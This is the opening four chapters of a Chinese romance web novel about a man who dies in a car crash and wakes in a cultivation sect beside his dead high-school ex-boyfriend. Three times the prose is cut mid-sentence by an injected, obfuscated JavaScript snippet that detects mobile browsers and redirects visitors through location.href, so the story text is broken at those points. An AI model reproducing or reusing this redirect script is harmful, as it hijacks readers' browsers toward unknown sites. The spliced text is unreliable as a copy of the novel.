《和前男友在修真界破镜重圆》 1. 第 1 章 九月的A市,夜风还带着白日灼热的温度,富丽堂皇的酒店门口,侍者在客人出入时九十度鞠躬,斑驳的光影随着连舒的行走而从他英挺的眉骨滑过,悄然落在他的身后。 看着难缠的甲方被助理架上豪车后座,他克制了一晚上的情绪才从眉宇间泄露出几分嫌弃。 “叫个车你也回去吧。”连舒对着喝红了脸的助理还算温和。他解开西装纽扣将外套扔在副驾驶,而后进入车内从车窗探头道,“挡了一晚上酒辛苦了,带薪休假两天,等周三再来上班。” 人靠衣装,连舒还不太适应身体被完全包裹的“上流感”,定制的西装贴身,可随之而来的就是他不喜的紧绷。 车子启动的同时,震动了一晚上的手机此刻又开始叫嚣。 他给了一丝余光,瞥见上面还是外地的陌生号码后又毫不犹豫地挂断。 长达半年的项目终于在今天谈下来,连舒以为自己会激动、兴奋,像是一朝中了五百万的暴发户般彻夜难眠,可不知道为什么,沉淀下来的情绪只有疲倦和厌烦。 车子在第一个路口的红灯停下,手机重新亮起,同一个号码坚持不懈地打进来,让连舒目光停留的时间多了几秒,随后,他看着前方红灯减少的秒数,心不在焉接起:“你好,请问哪位?” 电话那头并没有第一时间说话,反而是隐忍的抽泣声断断续续。做生意的都有些迷信,这方面连舒虽然比不上几个上年纪的合作人,但在今天项目谈成的好日子,一个陌生电话接起就是哭,也让他忍不住拧眉:“你——” “连舒、你是连舒吗?” 电话那头是个上年纪的女声,嗓音有些嘶哑,哭腔明显,说几个字就会抽噎。 连舒顿住,前方的红灯变绿,他重新行驶车子转弯。 他花了几秒的时间去回忆这个声音,但确定自己没有在哪里听过,期间对方似乎对他的沉默有些紧张,再次急切出声:“你是连舒对吗?合宜高中的连舒对吗?” 合宜高中。 连舒忍不住挑眉,难得的表情让平波无澜的稳重气质猛地绽出一丝邪气。 青春期开始,连舒因为自己的长相对他人的精神太具有“攻击性”而不得不刻意板着脸,倒不是长得有多丑,相反,他是只要有眼睛都能啧啧称赞一句“大帅哥”的人,可一切观感仅限于他面无表情时。 连舒笑起来,就算嘴角只是微微上扬一个像素点,那眼睛里、唇角边仿佛就不是单纯的喜悦,而是一种直冲灵魂的讥讽。 尽管他再三解释自己是真心实意的开心,可狭长的双眸眯起,落在对方眼底,便下意识检查自己的穿着,亦或是双手摸上自己的脸看是否有什么异物黏在上方——连舒也曾对他人的误解有些憋闷,可久而久之他只能习以为常。 分明无表情时的五官哪哪都好,双眼深邃,任何情绪从那双眼睛流露都能被多显三分,也不知是不是这个原因,无论他如何笑,就算只是眼睛微微弯起,那张脸顷刻变得有些咄咄逼人和不屑掩饰的讥讽,看得人瞬间变得拘谨、窘迫及……火大。 小学时他脸上残留的婴儿肥一定程度上弱化了这种嚣张的嘲讽气质,可平静的生活在他初一下学期发育时戛然而止。 连舒的人缘越来越差,放学后找他约架的人越来越多,甚至老师叫他去办公室了解他学科上出现的问题,也会因为他本能露出的尴尬笑脸而古怪地停顿两秒,随后皱着眉板着脸,声音呛出火星子:“今天下午叫你家长来一趟学校!” …… 连输解开衬衣领口的扣子,车窗降下,外头的风驱散了车内浮动的燥热感。 “对,我是,请问您哪位?” 自己的回复不知道触碰到对方哪根神经,哭声兀地变大,显然她的情绪逐渐失控:“我是——我、我——” 连舒不知道第几次去看手机屏幕,口吻虽然带着安抚,但是表情没有一丝变动,有种对周遭的所有都索然无味的厌倦:“您慢慢说,不着急。” 那头深吸了几口气,旁边似乎也有人在安慰她。 “我是……明商的妈妈,越明商,不知道你还记不记得,高中、高中你们两个……” 关键字一出来,连舒忍不住转过方向盘停在了路边,他露出一个牙疼的表情,似乎有些苦恼,又有些感慨,最后是时隔多年被对方家长找上门的疑惑。 他拿起手机,心里默读了一次来电号码,又看向来电IP,不是a市,也并非老家,在这个垃圾、诈骗电话轰炸的时代,面对陌生异地来电,像他一样第一反应是无视或挂断的不少。 他没料到会是越明商的妈妈打来,甚至在对方吐露“合宜高中”时,自己甚至想过是高中的老师找他有事。 连舒是很典型的东亚家庭,絮絮叨叨照顾他、对他人软弱却独对自己强硬的母亲,在家里是天在外是空气般被人忽略的父亲,普普通通的家世,没有穷到一块钱掰成两份花,也没有富到像越明商那样,自己随随便便一天的零花钱就能包圆整个宿舍半个月的花销。 在这种家庭氛围长大下的连舒,性格并不沉默但也不会过分活泼,反而因为他过于优越的颜值基因,让他一些放在普通人身上显眼的缺点都成了一种特别。 越明商是高二分班分到连舒班上,由于班里按身高排座,他跟对方都是最后一排,而高中又实行每周交叉换列,于是总有那么一小段的时间,他跟越明商会隔着一条不算宽的过道勉强做个后排同桌。 第一次正式接触,是晚自习前,整个班上所有人都在收拾东西开始搬座位,那时候他坐在最后一排整理课本,周围东西太过杂乱,他双腿岔开,一只脚伸在过道上,课桌上一摞摞垒高的试卷课本遮挡住他的视线。 整理到一半,他的左脚被人不轻不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438589|169322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重踢了一下。 连舒停下动作,垂眸看着脚边。 白到发光的限量球鞋像是学校里那只母猫一样,挨着他的鞋子边缘碰了碰,似乎看见他终于注意到自己,鞋尖才舍得收回去。 “哥们儿,让让。” 连舒一抬头,就见校服外套懒懒散散系在腰间的越明商,黑色鸭舌帽反戴在头顶,淋漓尽致地展现那个年纪独有的装逼和中二感。 过道就那么一丁点的空间,只能勉强容纳一个人走过,可对方却非要一手握住桌面的一角,像是牵头死倔的牛,浩浩荡荡无视他人无语放出白眼,舍近求远绕了一大圈过来。 “……”连舒只是看智障似的看了他一眼,就收了脚。 几个过道的宽度不一,但越明商走来的过道是最狭窄的,连舒越想眉头拧得越紧。两人都在最后一排,最轻松不该是从后面搬过来?从尾绕到前面,再经历堵塞的过道,这是什么天才想法? 神经。 但那时他跟越明商不熟,连舒只专心整理手上的东西,可没多久,身边的人似乎整理好,拿着一本书卷成筒状,敲了敲他的桌角,一颗散发着热气的脑袋凑过来,抬了抬下巴“喂”了声,满脸自来熟问他:“你是连舒对吧?” 连舒动作微顿,只偏头扫了一眼就收回注意,面无表情回:“是爹。” 越明商显然没料到他是这样不好惹的态度,脸上客套的笑意收敛,缄默两秒后悻悻坐回去,翘着二郎腿,心里暗骂了声装逼男。 可没一会儿他又忍不住出声:“连舒,你为什么叫连舒?谁给你取的这名字?连舒连输,寓意多晦气啊!怎么不叫你连赢呢?” 发皱的小测卷终于在课本内页里找到,连舒扯出来看了看,刚放松的神情因为上面的分数顷刻烦躁,于是又随意将试卷塞到课桌下,眼皮都没抬:“连和舒分别是我爸妈的姓。” 越明商用手上的卷筒敲着膝盖,一脸不赞同:“那为什么不在中间插个字?比如连爱舒、连念舒、连思舒……再不济,就叫连不舒,你听听,即包含了你爸妈的姓,寓意还好!” 许是觉得自己想法非常天才,一边念名字,越明商一边点着脑袋,说到最后又鹅鹅鹅出声:“你要是我儿子,我就这么给你取名字,连舒连输的,这不是让你一直输吗?谁家大人这么缺心眼,给自家小孩取这个名字!” 连舒给听笑了,血液哗哗往太阳穴两边流动。 他转过身对着坐下的越明商,右脚伸直踩在对方桌面下搁脚的横杠上,视线仔仔细细在他脸上身体转了一圈,最后对上他的双眼,开口时有些抑制不住的阴阳怪气:“越明商,你性格一直都这样吗?” 越明商被他笑得拳头发硬,腿不知道什么时候放下,手有一搭没一搭地卷着书边:“什么意思?” 连舒唇角的笑意更深:“难怪他们私底下都这么说你。” 2. 第 2 章 连舒以为自己回忆了很久,但现实不过是他沉默了半分钟,脑海中一瞬间出现了太多画面,尘封的记忆在通突如其来的电话中被迫打开,时光的灰尘呛得他百感交集。连舒将车窗完全打开,甚至想伸出头深吸一口气。 电话那边没有因为连舒的走神而停止,但情绪显然已经得到控制,声音带着小心翼翼和祈求:“……连舒,阿姨以前情绪比较激动,可能在那时候对你造成了一些伤害,阿姨跟你道歉……明商,明商你应该还记得吧?他记得……连舒,明商他……去世了,你要不要来看看他?我请你来看看他……” “他说他想见你最后一面,我当时就该去找你的,我没当回事……我没听他的话,你现在来见见他行不行,算阿姨求你……” 每个字打在他的耳膜上,力度不重,像是很轻很轻的几下敲门声,不管他乐不乐意,关于已经被他遗忘的东西都一股脑钻了进来。 十年,不是十天十个月,是整整十年,从高中时的某天下午,他和越明商分开,到现在接到这通电话,四舍五入凑个十年。 再刻骨的感情也经不起一个十年,更何况……连舒真心地去评价那段不太成熟的感情,它并不像影视或者小说里那样起起伏伏,磕磕绊绊,有情人爱得不分彼此最后遭遇外界的打击……反而它很是平淡。 感情里的酸甜苦辣恰到好处,没有任何一丝情绪能浓重得令他念念不忘十年。 是的,他跟越明商有过一段。 一段朋友之上、以恋人相称的关系。 连舒突然觉得车内的熏香味道过于刺鼻,他解开安全带揉了揉发胀的前额,开始控制不住地思考越明商为什么想见他。 平心而论,他和越明商在稚嫩的十八岁甚至都不懂如何是真的爱一个人。 越明商的性格说得好叫情绪跳跃,说得不好听就是阴晴不定,高兴起来笑嘻嘻怎么也赶不走,可要是生气……有那么几次,连舒都几乎忘记当初是什么缘故,两人冷战了两天。 越明商那厮和别人嬉皮笑脸勾肩搭背往教室外走,连舒头都没抬,可刚要起身接水,身体就一个踉跄差点摔倒,低头一瞧,才发现自己左脚运动鞋鞋带不知何时被人系在桌腿上打了个死结。 幼稚、中二得一言难尽。 而自己的性格缺陷也不少,连舒对自己没多厚的滤镜,因为从小堪比爱豆的表情管理,他免不了从嘴上找补失去的快乐。 说得好听点叫嘴毒,难听点叫嘴贱。 两人你系我鞋带我用胶水粘你课本,你撕我作业我课堂打小报告说你睡觉,谁看了不说一句两人水火不容?哪里能想到冷战过后双方又面无表情在桌子下手牵手。 连舒被零星的回忆逗笑,但很快眼底的笑意转瞬即逝。 当初指腹摩挲间产生的热度早已消散,越明商的表情是怎么样,自己当时的心跳是否如常……细微之处都早已被时间磨蚀。 连舒抿了抿嘴,连轴转的疲惫以另一种显眼的方式浮上来,他揉了揉发痛的前额,耳鸣过去,连舒才找回自己的声音。 “我很抱歉听见这个消息……” 客套的话不经大脑就先蹦出来,他的声音平稳,表情也没有变化得特别厉害,只是内心免不了滋蔓出物是人非的惆怅。 “我可以……”连舒咽下“去看他”,理智就先堵截剩下的话。 项目今晚才谈好,他需要立刻敲定合同,确定下交接的人员名单,时间过于宝贵,不是他一张嘴就能延后的。连舒干咳几声,掌心撑在方向盘上,试图转移话题:“我……找时间……” 但是电话那头并没有回复,连舒这才感知到违和的安静。他看向屏幕,以为方才是短暂几秒的恍惚,现实却已经过去二十分钟,在看清通话结束时间时,连舒冷静的面孔终于有了龟裂。 他短促地笑了声,但很快,笑声就戛然而止,连舒抬起手,指腹蹭上嘴角,似乎也觉得刚才突兀的发笑很是古怪又不合时宜。 他坐得笔直,双眼直直望着前方,似乎想要启动车子,但是头颅先一步往左右两边看。 ——我在看什么? 察觉到自己反常的刹那,连舒又不悦地蹙眉,紧绷的肩头刻意松缓下来,准备启动车子按照原定的路线行驶。 他开过几个十字路口,空白了几分钟的脑子终于开始缓缓思考。 话说回来,阿姨之后又说些什么来着?他怎么什么也没听见? “怎么就这么死了……” 看着倒数的红灯他怔然出声。 当红灯转绿,连舒才在后车的鸣笛声中重新启动,但是一低头发现安全带忘记系上,他自嘲地笑笑,才摸上按扣,身侧就传来车胎与地面剧烈摩擦的尖啸声! 连舒不过才抬头,还没来得及看清侧方朝他倾轧而来的黑影是个什么东西,车窗玻璃碎片就已经漫天飞舞——巨大的撞击让他本能地弓起身体,安全气囊嘭地一声弹出来!很快,雪白的气囊表面就有暗红的血色绽落。 世界被人短暂地按下消音键。 一切声音在急速地逃窜,比疼痛先赶来的,是一种全身浸泡在温暖的舒适,这让他整晚都浮在眉宇的倦态瞬间消弭,让人忍不住就一直这样闭着眼睛沉溺在这种温暖中,直到声音重现出现。 “啊啊啊啊啊——” “车里有人!先救人!” “叫救护车!” “我靠!撞上现场了……” 连舒努力睁开眼睛,但是血液从眼睫滴落,他眨了眨干痛不适的双眼,那一刻,世界好似有了变化,路人的尖叫阶梯式的消失,鸣笛转变为更……更嘈杂的喧哗。 “竖子尔敢!” 伴随着虎啸般的怒吼,连舒清楚地体验到明显的失重。 扑通! 宛如一只被利箭射下的鸟雀,他从高处狠狠摔下,尘埃四起!匍匐在地上的连舒猛地咳出一口鲜血,血沫顿时糊住眼睛。他感受到眼皮似有千斤重,意识混沌间,却能清晰听见四周此起彼伏的嘀咕声。 “姜青这一手,真是糟糕透顶,明知宗主长老们在场,却还是脑袋发昏下狠手。宗门弟子决斗谁不是点到即止,他却冲着要别人的命去——” “要说他得手了还好,结果呢,反被人一掌打趴下,也不知仙尊是怎么看上此等品性低劣之人!” “你瞧,大长老被气成什么样了,胡子都止不住乱飘!也是姜青没得手,不然大长老看好的苗子就要折在这里,就算他姜青仗着自己是仙尊唯一的弟子,此次也不会落得好下场……” …… 连舒费力地睁开眼睛,周遭是溅起的尘埃,碎石滚落,网状裂缝至他身下的台面蔓延。比武台上空,巨大的半透明金色钟罩散发着淡淡莹光,场上暴动的灵气和杀招余韵根本波及不到场外的弟子。 而台上,数道裂缝将比武台分成几块,滚滚烟尘还未散尽,但修士眼力极好,众人能清楚看见台上绿衫之人仍旧不甘地在地上如蝼蚁般费力挣扎。 戏谑、冷嘲热讽中,偶尔夹杂几股痛惜怜悯的目光。 “咳咳、咳咳咳……”没能厘清现状的连舒,被吸入的灰尘呛出几口血沫,他还以为自己是在车祸现场,没能透过尘埃看见四周,所以并未见到底下一派神色傲然的年轻修士,以及看完全程的、坐于高座的几位大能。 罗遇双手背在身后,尽管体内灵气所剩无几,面色也未露出丝毫疲惫。他的视线从已经无法对他造成威胁的姜青身上收回,抬起头颅望向上方。 十位长老各分为两列围坐,黑袍黑玉冠,此刻逼近主座的大长老因为自己弟子差点惨遭毒手气急攻心站起身来,骂了一句,待罗遇非但没有受伤还当场突破小境界,怒色才勉强压制住,冷哼一声挥袖坐下。 “今日也是罗遇这小子恰好突破,不然……哼!姜青所作所为,按宗门法规,该鞭刑三百以儆效尤!” 鞭刑,是以抽灵鞭执行,凡间鞭的是肉|身,而修士,则是抽的神魂。三百鞭下去,别说是此时身受重伤、金丹破损的姜青,就是完好无损的修士也能被三百鞭抽得境界下落根基不稳。 神魂受损最难修养弥补,大长老虽然是为自己弟子出头,可这刑罚对姜青也算不上严厉,毕竟看在玄明的份上,大长老也不敢直说将人轰出宗门。 “鞭三百啊……” 一声呢喃使得在场众人都下意识噤声,底下刚才不忿的弟子面色一紧,都忍不住看向上方和宗主同坐主位的玄明仙尊。 百年前宗主为寻机遇突破元婴下山历练,与邪修一战不敌,差点魂识都被绞杀,好在路过的玄明随手相助。 修真之人多重视因果,于是宗主腾出宗门主峰之一的雪乌峰让玄明暂居。玄明虽不过五百余岁,但修为已达化神圆满,只差半步便能踏入渡劫期,真真正正成为整个修真界数一数二的强者。 后来玄明常住于此,和宗主结为兄弟,宗主甚至见玄明潜质惊人,一度欲将巽衍宗交付于他,可玄明婉拒直言不愿理尘俗之事,但松口可作挂名客卿。于是在新一轮弟子上山时,不久前才突破至渡劫期的玄明现身大殿。 他通身威压敛于体内,百无聊赖垂眸扫过恭敬垂手的弟子时,神态遽然一变!爆发的灵气使得立在他身侧的宗主面色凝重,本能运转功法抵抗一视同仁的威压,可还是喉头腥甜。 “玄明……” 他不解地转头看向身侧,可余光却只见翻飞的衣角。玄明身形如风,瞬间便从主位出现在底下一个资质平平的散修身边。 宗主惊疑不定,还未来得及细问,就听见玄明一声急促又惊喜的:“连舒?!” * 时至今日,当时玄明口中的“连舒”是谁无人知晓,只是那个弟子运道极好,一跃成为玄明亲定的弟子,也是今日嫉恨同门狠下杀手却反被打成重伤的姜青。 宗主抬手捋着胡须,可惜地看着下面还在挣扎起身的姜青:“金丹破损,境界下落至炼气,根基受损,若没有极品九转复灵丹,就算重新修炼,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438590|169322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是达不到最初的高度,也算是自作自受……姜青虽有错,但好在除他外无人受伤,反倒是有性命威胁的罗遇趁此突破,鞭三百太过。” “他现在与凡人也无两样,别说鞭三百,就是一鞭,那口气也能被鞭得烟消云散。罢了,玄明,你看怎么处置为好?” 被问询的人坐在宗主身边,今日各尊者出席宗门大比,也是为检验自己弟子这段时间修炼进展,谁也没料到会是这样的收尾。 玄明通身白袍,和周遭或蓄胡或白发丛生的长老宗主相比他极为年轻,身形瘦削高挑,袖口及衣摆处以金银线作仙鹤祥云边,长发被一根简朴的玉簪束起,分明是极为寡淡的着装,可也压不住眉宇间的恣意。 和宗主长老们脊背挺直相较,他的坐姿也透着几分懒散,丝毫没有对座下弟子身受重伤的关切。 场中尘埃落下,废墟碎石中央躺着的人暴露在所有人眼中。往日被姜青瞧不起的弟子冷漠看着,也有嘲笑,但更多是目光复杂地摇头。 这人是废了。 连舒统统看不见,因为自己快痛死了。 他的十指扣着地面,掌心按着石粒用尽全力试图起身,可才堪堪抬起头,腹部就被动作牵扯出一股从灵魂迸发的疼痛。 连舒敏锐地感知到那里有一股温热的东西在不断逸散,他不知道那是金丹破损,锤炼的灵气哗哗流散四周,只本能地抬手抚上丹田处,声音嘶哑地唤人:“救——” 他以为自己喊得大声,可身边石块的滚动声都比他的求救动静大。 连舒又咳出一口血水,铁锈味从鼻腔占据喉咙,而就在此时,一个陌生又熟悉的声音在耳畔响起,清晰得仿佛有人蹲在他的身侧凑近问他:“姜青,你可知错?” 每个字都很和缓,可细听却有种淡淡的幸灾乐祸。 连舒的身体难以置信地紧绷,脑子急速运转,这个声音于他而言既陌生又熟悉。陌生在太久没有听过,以至于被他曾短暂遗忘;熟悉在只需要轻促的腔调,遗忘的部分就瞬间被补充完整—— 【连舒,你说我俩一个倒数第一一个倒数第二,咱们这样下去还有未来吗?】 高中时的越明商胆大包天,熄灯后熟门熟路跑到隔壁连舒的宿舍,掀起床帘就钻了进去,恰巧碰见连舒坐在床上支着脑袋一脸凝重的盯着手上刚发下来的试卷,他伸长脖子和上面吝啬的分数打了个照面,霎时忍俊不禁问道。 连舒沉凝的视线终于从分数转落在越明商笑嘻嘻的脸上,脸色柔和少许,掌心却盖在越明商的脸上,用力将人往外推:【滚蛋!指不定十年、二十年之后的同学聚会,我开着迈巴赫你骑着自行车,我们在饭店门口碰面,你自惭形秽狼狈离开。】 【说错了吧。】两人谈恋爱都是偷摸谈的,越明商也像连舒一样压低声音,头发被人揉得一团乱,顶着鸡窝头踩在防滑条上就是不下去,【我家可是家族企业,开迈巴赫的不该是我吗?】 【行,那你开着迈巴赫,顶着啤酒肚摸着地中海,看见我自惭形秽狼狈离开。】 越明商不笑了:【连舒,你人缘差不是没道理。】 【什么?】连舒佯装惊诧,【你爱我没道理?】 越明商面无表情地缩回头,扯上床帘挡住连舒那张有些欠揍的脸:【神经病!】 越明商说话有个明显的特点,无论高兴还是生气,情绪上头时尾音总是能带点明显的上扬,跟唱戏似的。 记忆中罕见的几次争吵,连舒都因为听着听着笑出声而激恶战况,怒火攻心的越明商直接揪住他领子——往小树林里拽。 当然,他们很纯洁。 越明商气狠,松开腰间的校服外套丢在地上,故意显露胳膊上的肌肉,拳头撞他肩膀:“咱们吵归吵,你别笑!” 连舒后背抵靠在树干上,笑得更欠抽:“怎么,笑起来就不像他了?” 越明商:“…………” 脾气都不太好的两人在谈恋爱这方面都颇为默契的难为情,最后也就拽着领子雄赳赳进去,冷脸牵着手出来。 …… 熟悉的声线消失的瞬间,连舒不可置信地霍然抬头。 按理说,比武台离高台主位大概百米远,以正常人的视觉,根本不可能将人看得一清二楚,可连舒却看见了! 一股巨大的痒意逼近喉结,连舒不知不觉握紧双手,支起的身体摇摇晃晃,几乎下一秒就会趴下,但这霎那,咳嗽声变成了惊愕不确定的疑惑:“越明商?!” 他五官没有太大的变化,眼睛大且圆,此时故作高深眯起眼时卧蚕明显。 但是……他不是死了吗? 连舒的脑子又进入新一轮宕机。 巨大的疑惑令连舒有一秒忘记了身体的痛楚,忍不住虚着眼睛试图看得更仔细,对上与自己相差无几震惊的眼神,连舒嘴唇微动,还想说什么,视野却逐渐发黑。 只是在晕倒前,他还是听见了那声和回忆中重叠的呼唤—— “连舒?!” 3. 第 3 章 随着三日前宗门大比的落幕,整个巽衍宗陷入了奇怪的氛围。 当日玄明仙尊失态的举动让弟子窃语私议,揣测姜青的去留。 “宗规言明叛宗、残害同门者,按程度不同鞭刑或废除修为逐出师门,姜青众目睽睽之下祭出修罗爪,心思阴毒至此,为何此人还不受刑?” “宗主有言,姜青修为尽散,根本熬不过一次鞭刑。” “那逐出师门呢?姜青都如此下作,难不成还能容他在巽衍宗继续肆意妄为?!” “仙尊当日的态度难道你还不明白?”有人叹气道,说不出是羡慕还是失望:“别说逐出师门,整整三日,司律堂堂主的传音至今都没得到回应。三日前仙尊没撂下任何说辞便带着昏迷将死的姜青回了雪乌峰,此后闭门不出,你猜现在,姜青是被仙丹灵药滋养着还是闭门受惩?” 众人只觉得无力的凝重袭上心头。 “仙尊……”弟子不敢对玄明生出怨怼,愤懑只冲着姜青,“是姜青的错!若不是他蛊惑仙尊,仙尊岂会包庇罪人!” 但还有人认为姜青就算能留下也不会好过,一来对方搬起石头砸自己的脚,金丹破损沦为废人,更何况姜青心性高,一朝醒来发现自己境界落回练气,光是这事就比杀了他还难受。 二来,姜青入门时潜质平平,不过是被仙尊看重才一飞冲天,金丹修为也不过是被丹药堆积上来,实战远不如差他一个境界的罗遇。如今呢,他连勉强看得过眼的资质也无,修真界弱肉强食,一个弱者却身居高位,如何服众? 宗门流言纷纷,什么猜测都有,可雪乌峰的月华居却一缕风也未被放入。 床榻上的人被收拾干净,脸上已经没有之前的血污和灰尘,室内落针可闻,只偶尔蹿进来的轻风撞得屋檐上挂着的风铃叮铃作响。 连舒正是在清脆的风铃声中醒来,或许是自己昏迷前精神不济,竟会看见许久不见的越明商,导致昏迷这段时间破碎的梦境多多少少会拼凑一点真实的回忆。 美好的记忆一闪而过,但令人难堪的旧事却仿佛因为被人刻意遗忘而仍旧崭新。 他跟越明商的关系临近毕业被家长发现,连舒不知道哪里走漏了风声,毕竟他们平日在外人面前装得很好,甚至某些正常的肢体接触他都尽可能避免。可某天下午,他和越明商还是同时被叫到了办公室。 两人固然已经达到自由恋爱的年纪,可身上套着的校服变成了避免不了的禁锢,更别提除此之外,他们还都是男生。 在青涩的年纪做着最胆大的事情,那天连舒在走出教室时心里就隐隐有了预感。走廊安静,各个班级里传来老师授课的声响。 刻意清场的室内只有他和越明商的家长,没心没肺的越明商也在看见里面的人时笑容顿时消弭。 他还以为是学业问题被老师叫谈,但现场每个人凝重的表情都彰显着问题的严重性。 往后很长一段时间,连舒尽力不去回忆那日他妈妈低着头独自哽咽的模样,而他父亲手上拿着一根没有点燃的烟,对上他视线的刹那,身体下意识紧绷,似乎想要起身动手,但显然又顾忌着什么,憋着气地忍下来。 说来奇怪,这段回忆应该不是轻而易举就能遗忘的,可除了最初两天连舒被负面情绪倾轧,后来再鲜少梦见和忆起这一幕,好似风浪骤然平息,就和它骤然掀起一般,留下满地狼藉便匆匆离开。 哭泣、嘶吼、衣领被拽起,不知道谁的脸被打偏在一侧……场面混乱不堪,不知道当初是自己走神没有专心听他们的破口大骂,还是大脑自动开始屏蔽可能会伤害到自己的内容。 总之,分明应该是刻骨铭心的回忆,可再度翻阅,连舒能记起的竟是他跟越明商站在校门时,对方顶着和自己一样红肿的脸颊,挣扎着从车后座里扑腾出来,气沉丹田冲着他高喊:“连舒你等我!!” 他双手扣在边缘阻止车门闭合,身后的手扯着他的头发又试图捂住他的嘴巴,可越明商满身牛劲,帽子在混乱中丢在地上,激红的眼睛隔着一段距离直直望向自己。 连舒就这么站在那里,没有上前也没有后退,习惯了面无表情的生活,面对越明商称得上波涛汹涌的情感流露,他平静得近乎冷漠。 “你怎么能这么对我跟你爸爸?你爸爸大夏天三十多度在外面干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438591|169322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活是为了谁?我省吃俭用为了谁?你成绩班里倒数几名你爸爸虽然没说什么,但是晚上整夜整夜睡不着……” 连舒静静听着,咬肌一点点变得僵硬。 “你成绩差点我们可以复读,但是你怎么能跟——跟一个男生谈恋爱!”说到后面,连母柔柔弱弱的声线都猛地变得尖锐。 连舒看着车子缓缓启动,呼吸有瞬间的停滞。 越明商双手按在竭力上扬的车窗上努力和他对上视线,连舒恍惚地好似上前了半步,可就在他动作的瞬间,一双手死死掐着自己的胳膊,指甲陷进皮肉里。 “你要去哪!回家!” “连舒!你他妈说话!”同一时间越明商遽然从怎么也合不上的车窗探出上半身,紧紧盯着他的眼神像是要将自己咬碎了咽进肚子。 他的声音又气又急:“说话!” 连舒看着看着忽地轻促一笑,瞬间牵扯了嘴角的伤口。他抽出裤兜里攥紧的右手冲着尾气摆了摆:“行啊,我等着!” 但是他没等到。 ——直到刚才。 床上的人眼球在眼皮下急速滚动,仿佛被梦境魇着一般蹙眉,气息也由轻转重。感知到这边情况的人立刻从主殿瞬身赶来,黑色衣袖翻飞,人形扑腾一下趴在床边。越明商双眼圆睁,一动不动地盯着床上的人,不知觉屏住呼吸。 混乱的梦境应该到此终结,但是“等我”两个字不断在颅内产生回音,吵得连舒眼球微微颤动,他费力撑开眼皮,视线从模糊变得清晰,而梦里那张脸的轮廓也一点点分明。 连舒快要分不清梦和现实,耳畔还回荡着学生时期越明商那句“等我”,面前的人顶着相同的脸,半是紧张半是小心地凑近,嘴唇没有多少血色,眼睛也微微湿润,有种喜极而泣的激动。 连舒脑子嗡嗡一片,不太清明的眼球跟着对方的脸而转动:“越……明商?” 他觉得自己还在梦中。 可下一秒,连舒就见面前时隔多年未见的前男友双眼骤然发亮,激动到胡言乱语乐颠颠地抓握住他的双手,声音颤抖地连连应道:“诶、诶!爹在这!爹在这!!!!” 4. 第 4 章 越明商过于快活,灵气也随着主人的情绪肆无忌惮地迸发。连舒睁眼话才说了一句,他就仿若被卷入洪水泥流,灵气的压制让窒息感扑面而来,堆积在腹部内的剧痛和无法忽视的凉意同一时间撕扯他并不清明的大脑。 于是,在死去的故人怼脸、灵气暴动和残存旧伤——各方面的强烈冲击下,越明商的嘴瘾还没过完,连舒就重新安详地合上眼睛。 这昏迷又是几日。 而外界,残害同门的当事人迟迟未露面令心有芥蒂的大长老冲到宗主面前,势要为弟子讨回公道。于是在第四日,宗主亲自出面,传音至雪乌峰让玄明到司律堂一聚。 这起百年来的大事件吸引了全宗弟子注意,不少人闲来无事纷纷在暗地里押注。 “我赌一件宝器!宗门法规可不是摆设,今日放过一个姜青,他日是不是还得放过另一个诛杀同门之人!” “我下五枚极品灵石凑个热闹。就事论事,姜青倒也远不至诛杀同门的程度。” “那是他不想吗?是他做不到!否则你以为罗遇师弟还能好端端同我们修炼!” “我倒是觉得姜青不会有事,你可别忘了他师尊是谁。” 那人在最后一句压低了声音,可离得近的几人却听得一清二楚,纷纷倒吸凉气:“你疯了,敢私下议论玄明仙尊!” “其实……”随意盘坐在石头上一人忽然开口,眼睛咕噜巡视四周,见没有外人才小心翼翼地询问几人,“我听过未经证实的一则消息,关乎姜青与那位的,不知你们可曾听闻?” 人群古怪地沉寂几秒,随后有人忍不住追问:“难道是……那个?” “仿佛我也……” “不可能!怎么会如此!” “那你如何解释那位对姜青毫无底线的纵容?” “放肆!如果被宗主长老知晓你等岂敢随意编排仙尊,你们就等着在玉骨牢蹲个一年半载的吧!” “放肆什么?我们可什么也没说,这么看来,你也听说过,否则不至于这般生气。 ” “那都是胡言乱语!” 这则隐秘的传闻在弟子间又掀起了惊涛骇浪,为什么说“又”,盖因之前越明商在弟子选拔时罕见失态,当初只是小范围不含桃色的正常分析,如今真真假假的揣测甚至波及到了月华居外。 守门童子立于偏殿大门两侧,雪乌峰上弟子数量远不如别峰,且越明商夺舍心虚,以往整个月华居都只有他似孤魂野鬼般游荡。宗主传音,越明商不得不出面,这才临时从内门调来两名童子守在殿外。 